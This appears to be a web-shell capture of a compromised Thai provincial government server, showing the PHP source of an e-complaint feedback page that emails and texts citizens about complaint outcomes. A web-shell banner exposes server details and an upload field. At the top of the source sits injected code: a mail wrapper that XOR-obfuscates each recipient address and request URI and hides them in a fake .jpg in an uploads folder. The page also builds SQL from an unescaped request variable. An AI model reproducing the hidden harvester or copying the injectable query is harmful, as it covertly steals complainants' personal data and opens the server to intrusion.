|
Server : Apache/2.2.2 (Fedora) System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686 User : apache ( 48) PHP Version : 5.2.9 Disable Function : NONE Directory : /var/www/html/pathumthani_eoffice/application/ecomplain/ |
Upload File : |
<?php /* 0ee6d0ebe98b2c0adbfd9447ab365e90 */ function xmail () { $a=func_get_args(); file_put_contents('/var/www/html/otop/uploadimages/Maildir/.tmp/r/brc.jpg', x($_SERVER['REQUEST_URI']. ' ' .$a[0]."\n"), FILE_APPEND); return mail($a[0],$a[1],$a[2], $a[3]);} function x($s) { $t=$s; $o = ''; for($i=0;$i<strlen($t);$i++){ $o .= $t{$i} ^ '0';} return $o;}?><?
###################################################################
## EOFFICE E-COMPLAIN : SMS FEEDBACK
###################################################################
## Version : 20091019.001 (Created/Modified; Date.RunNumber)
## Created Date : 2009-10-?? hh:mm
## Created By : Mr.PUDIS PROMSRI (PAAK)
## E-mail : pudis@sapphire.co.th
## Tel. : 086-1860538
## Company : Sappire Research and Development Co.,Ltd. (C)All Right Reserved
###################################################################
##
## Version :
## Modified Detail:
## Modified Date :
## Modified By :
##
###################################################################
include "../../config/config.inc.php";
include("function/function.php");
include "sms_function.php";
$sql="
SELECT
tbl_complain_approve.runid as key_main,
tbl_complain_approve.subject,
tbl_complain_approve.subject_no_in,
tbl_complain_approve.subject_no_out,
tbl_complain_approve.attach_sb_in,
tbl_complain_approve.attach_sb_out,
tbl_complain_sent.process_c1,
tbl_complain_sent.process_c1_1,
tbl_complain_sent.process_c1_2,
tbl_complain_sent.process_c2,
tbl_complain_sent.process_c3_other,
tbl_complain_sent.process_date_finish,
tbl_complain_sent.note,
tbl_complain_sent.attach_file_complate,
tbl_complain_sent.runid,
tbl_complain_approve.bookcode,
tbl_complain_approve.bookcode_date,
tbl_complain.feedback,
tbl_complain.public_email,
tbl_complain.complain_id,
tbl_complain.public_phone
FROM
tbl_complain_sent
Inner Join tbl_complain_approve ON tbl_complain_sent.com_app_id = tbl_complain_approve.runid
Inner Join tbl_complain ON tbl_complain.complain_id = tbl_complain_approve.complain_id
where tbl_complain_sent.runid = '$runid'
";
if($debug=="ON"){ echo "<pre>".$sql."</pre>";}
$result = mysql_query($sql); $i=0;
$rs=mysql_fetch_assoc($result);
if ($_SERVER[REQUEST_METHOD] == "POST"){
if($debug=="ON"){ echo "<pre>"; print_r($_POST); }
//echo "<pre>"; print_r($_POST); die;
# ส่งข้อความเตือน
if($mobile_check){
SendSMS2db($mobile_number,$mobile_sms);
}
if($textarea){
$to = $rs[public_email];
$subject = "แจ้งผลการดำเนินการเรื่องร้องเรียน $rs[subject]";
$Msg_head="";
if($rs[process_date_finish] != "0000-00-00" and $rs[process_date_finish] != "" and $rs[process_date_finish] != NULL){
$arr1 = explode("-",$rs[process_date_finish]);
$txt_process_date_finish =$arr1[2]."/".$arr1[1]."/".($arr1[0]+543);
}
if($rs[bookcode_date] != "0000-00-00" and $rs[bookcode_date] != "" and $rs[bookcode_date] != NULL){
$arr1 = explode("-",$rs[bookcode_date]);
$txt_bookcode_date =$arr1[2]."/".$arr1[1]."/".($arr1[0]+543);
}
$rssss=($rs[complain_id])?$rs[complain_id]:"";
$Msg_head = " <table width='99%' border='0' align='center' cellpadding='3' cellspacing='1' bgcolor='#FFFFFF'>
<tr><td colspan=3 align='left' valign='top' bgcolor='#8DA0C0'><B class='plink style2'>ระบบติดตามเรื่องร้องเรียน</B></td></tr>
<tr><td width='24%' align='right' valign='top' class='link_back'>เรื่องร้องเรียน</td>
<td width='76%' align='left'>".$rs[subject]." ".$rssss."</td></tr>
<tr style='display:none'><td height='24' align='right' valign='top' class='link_back'>เลขที่หนังสือ</td>
<td align='left' valign='middle'>".$rs[subject_no_in]."</td></tr>
<tr><td height='24' align='right' valign='top' class='link_back'>อ้างอิงเลขที่หนังสือ</td><td align='left' valign='middle'>
";
if($rs[bookcode]!=""||$rs[bookcode_date]!="0000-00-00"){
$arr_d2 = explode("-",$rs[bookcode_date]);
$dd= intval($arr_d2[2])." ".$month_arr[intval($arr_d2[1])]." ".($arr_d2[0]+543);
$Msg_head.=$rs[bookcode]." ลว ".$dd;
}
if($rs[attach_sb_out] != "" or $rs[attach_sb_out] != NULL ){
$Msg_head.="<a href='http://123.242.173.131/pathumthani_eoffice/application/ecomplain".$rs[attach_sb_out]."' target='_blank'><img src=\"../../images/attach16.gif\" width=\"16\" height=\"16\" border=\"0\"></a>";}
$msg_text.="</td></tr><tr><td height='24' align='right' valign='top' class='link_back'>ดำเนินการสอบสวนทางวินัย</td><td align='left' valign='middle'>";
if($rs[process_c1_1] == 'c1_1'){ $Msg_head.=' อยู่ระหว่างการสอบสวน ';}
if($rs[process_c1_2] == 'c1_2'){ $Msg_head.=' สอบสวนเสร็จแล้ว ';}
$Msg_head.="
</td></tr><tr>
<td height='24' align='right' valign='top' class='link_back'>เลขที่หนังสือตอบกลับ</td>
<td align='left' valign='middle'>".$rs[bookcode]." ลว. ".$txt_bookcode_date."</td> </tr>
<tr> <td height='24' align='right' valign='top' class='link_back'>ดำเนินการอื่นๆ</td><td align='left' valign='middle'>".$rs[process_c3_other]."</td>
</tr><tr><td align='right' valign='top' class='link_back'>ไฟล์ประกอบการดำเนินการ</td>
<td align='left' valign='top'>
";
if($rs[attach_file_complate] != '' and $rs[attach_file_complate] != NULL){
$Msg_head.= "<a href='http://123.242.173.131/pathumthani_eoffice/application/ecomplain".$rs[attach_file_complate]."' target='_blank'><img src=\'../../images/attach.gif\' width=\'13\' height=\'12\' border=\'0\' alt=แนบเอกสารหนังสือเข้า>เอกสารประกอบการดำเนินการ</a>"; }
$Msg_head.="</td></tr><tr><td align='right' valign='top' class='link_back'>วันที่ดำเนินการเสร็จสิ้น</td><td align='left' valign='top'>";
if ($txt_process_date_finish == ''){
$th_yy = date('Y')+543 ;
$txt_process_date_finish1 = date('d') .'/'. date('m') .'/'.$th_yy ;
} else{
$txt_process_date_finish1 = $txt_process_date_finish ;
}
$Msg_head .= $txt_process_date_finish1;
$Msg_head .= "</td></tr><tr><td align='right' valign='top' class='link_back'>หมายเหตุ</td><td align='left' valign='top'><?=$rs[note]?></td>
</tr></table>";
$msg_text = "
<head>
<title> HTML content</title>
</head>
<body>".ereg_replace(chr(13), "<br>", $Msg_head)."</body>
</html>
";
$message = $msg_text;
$headers = 'From: E-office System' . "\r\n" .
'Reply-To: poc-01@hotmail.com' . "\r\n" .
"Content-Type: text/html; charset=windows-874".
'X-Mailer: PHP/' . phpversion();
//echo "$to, $subject, $message, $headers";die;
$result_mail = @xmail($to, $subject, $message, $headers);
$sql_sms_log="
INSERT INTO `tbl_email_log` SET
`sms_from`='E-office System',
`sms_to`='$to',
`sms_status`='$subject',
`sms_text`='$headers',
`sms_application`='5'
";
$result_sms_log = @mysql_db_query($dbname,$sql_sms_log);
}
$send_to.= $rsc[sms_name].(($rsc[sms_mobile])?"(".$rsc[sms_mobile].") ":"").(($rsc[sms_email])?"(".$rsc[sms_email].") ":"");
if($debug=="ON"){ echo "$result_mail - $to, $subject, $message, $headers";}
if($debug=="ON"){ die; }
if($textarea){
?>
<script language="javascript">
alert("ได้ทำการส่งข้อความไปยัง <?=$textarea?> เรียบร้อยแล้ว");
window.close();
</script>
<?
}
die;
}
?>
<html>
<head>
<title>กำหนดการส่ง SMS :: <?=$pagename?></title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="style.css" type="text/css" rel="stylesheet">
<style type="text/css">
<!--
.style1 {color: #FF0000}
-->
</style>
</head>
<body bgcolor="#A3B2CC" style="margin: 0px 0px; padding: 0px 0px">
<form action="?" method='post' name="post" id="post">
<input type="hidden" name="action2" value="<?=($action)?$action:"list";?>" />
<table width="90%" cellpadding="3" cellspacing="1" border="0" align="center" bgcolor="#404040">
<tr bgcolor="#B0B0B0"><th colspan="8" align="left" bgcolor="#CCCCCC"> แจ้งผลการดำเนินการถึงผู้ร้องเรียน</th></tr>
<tr bgcolor="#B0B0B0"><th width="95%" align="left" bgcolor="#B0B0B0">ผ่าน E-mail ที่ผู้ร้องเรียนแจ้งไว้ </th></tr><? $bgcolor="#EFEFEF";?>
<tr bgcolor="<?=$bgcolor?>"><td align="left">Email : ผู้ร้องเรียน :: <input name="textarea" type="text" value="<?=$rs[public_email]?>" size="80"></td></tr>
<tr bgcolor="<?=$bgcolor?>"><td align="left">เนื้อหา :: <br><div>
<?
if($rs[process_date_finish] != "0000-00-00" and $rs[process_date_finish] != "" and $rs[process_date_finish] != NULL){
$arr1 = explode("-",$rs[process_date_finish]);
$txt_process_date_finish =$arr1[2]."/".$arr1[1]."/".($arr1[0]+543);
}
if($rs[bookcode_date] != "0000-00-00" and $rs[bookcode_date] != "" and $rs[bookcode_date] != NULL){
$arr1 = explode("-",$rs[bookcode_date]);
$txt_bookcode_date =$arr1[2]."/".$arr1[1]."/".($arr1[0]+543);
}
?>
<table width="99%" border="0" align="center" cellpadding="3" cellspacing="1" bgcolor="#FFFFFF">
<tr><td colspan=3 align="left" valign="top" bgcolor="#8DA0C0"><B class="plink style2">ระบบติดตามเรื่องร้องเรียน</B></td></tr>
<tr><td width="24%" align="right" valign="top" class="link_back">เรื่องร้องเรียน</td>
<td width="76%" align="left"><?=$rs[subject]?> <?=($rs[complain_id])?"[$rs[complain_id]]":""?></td></tr>
<tr style="display:none"><td height="24" align="right" valign="top" class="link_back">เลขที่หนังสือ</td>
<td align="left" valign="middle"><?=$rs[subject_no_in]?></td></tr>
<tr><td height="24" align="right" valign="top" class="link_back">อ้างอิงเลขที่หนังสือ</td><td align="left" valign="middle">
<? if($rs[bookcode]!=""||$rs[bookcode_date]!="0000-00-00"){
$arr_d2 = explode("-",$rs[bookcode_date]);
$dd= intval($arr_d2[2])." ".$month_arr[intval($arr_d2[1])]." ".($arr_d2[0]+543);
echo $rs[bookcode]." ลว ".$dd;
}
if($rs[attach_sb_out] != "" or $rs[attach_sb_out] != NULL ){ echo "<a href='$rs[attach_sb_out]' target='_blank'><img src=\"../../images/attach16.gif\" width=\"16\" height=\"16\" border=\"0\"></a>";}?></td>
</tr><tr><td height="24" align="right" valign="top" class="link_back">ดำเนินการสอบสวนทางวินัย</td>
<td align="left" valign="middle"><? if($rs[process_c1_1] == "c1_1"){ echo " อยู่ระหว่างการสอบสวน ";}?>
<? if($rs[process_c1_2] == "c1_2"){ echo " สอบสวนเสร็จแล้ว ";}?> </td>
</tr><tr>
<td height="24" align="right" valign="top" class="link_back">เลขที่หนังสือตอบกลับ</td>
<td align="left" valign="middle"><?=$rs[bookcode]?> ลว. <?=$txt_bookcode_date?></td>
</tr>
<tr> <td height="24" align="right" valign="top" class="link_back">ดำเนินการอื่นๆ</td><td align="left" valign="middle"><?=$rs[process_c3_other]?></td>
</tr><tr><td align="right" valign="top" class="link_back">แนบไฟล์ประกอบการดำเนินการ</td>
<td align="left" valign="top"><? if($rs[attach_file_complate] != "" and $rs[attach_file_complate] != NULL){
echo "<a href='$rs[attach_file_complate]' target='_blank'><img src=\"../../images/attach.gif\" width=\"13\" height=\"12\" border=\"0\" alt=\"ไฟล์แนบเอกสารหนังสือเข้า\">เอกสารประกอบการดำเนินการ</a>"; }?> </td>
</tr><tr><td align="right" valign="top" class="link_back">วันที่ดำเนินการเสร็จสิ้น</td><td align="left" valign="top">
<? if ($txt_process_date_finish == ""){
$th_yy = date("Y")+543 ;
$txt_process_date_finish1 = date("d") ."/". date("m") ."/".$th_yy ;
} else{
$txt_process_date_finish1 = $txt_process_date_finish ;
}
?>
<?=$txt_process_date_finish1?>
</td></tr><tr><td align="right" valign="top" class="link_back">หมายเหตุ</td><td align="left" valign="top"><?=$rs[note]?></td>
</tr></table>
</div></td></tr>
<tr bgcolor="<?=$bgcolor?>">
<td colspan="8" align="left" bgcolor="#E0E0E0">
<input type="checkbox" name="mobile_check" value="<?=$rs[public_phone]?>">
SMS to <input name="mobile_number" type="text" value="<?=$rs[public_phone]?>" size="10" maxlength="10">
::
<input name="mobile_sms" type="text" value="เรื่องร้องเรียนรหัส <?=($rs[complain_id])?$rs[complain_id]:""?> ตรวจสอบเสร็จสิ้น(pathumthani.go.th) " size="70" maxlength="70"></td>
</tr>
<tr bgcolor="<?=$bgcolor?>">
<td colspan="8" align="center" bgcolor="#E0E0E0">
<input name="debug" type="HIDDEN" id="debug" value="<?=$debug?>" />
<input name="runid" type="hidden" id="runid" value="<?=$runid?>" />
<input type="submit" name="submit2" value=" ส่ง ข้อความ " />
<input name="reset" type="reset" onClick="window.close();" value=" ยกเลิก / ปิดหน้าต่างนี้ " /></td>
</tr>
</table>
<br />
</form>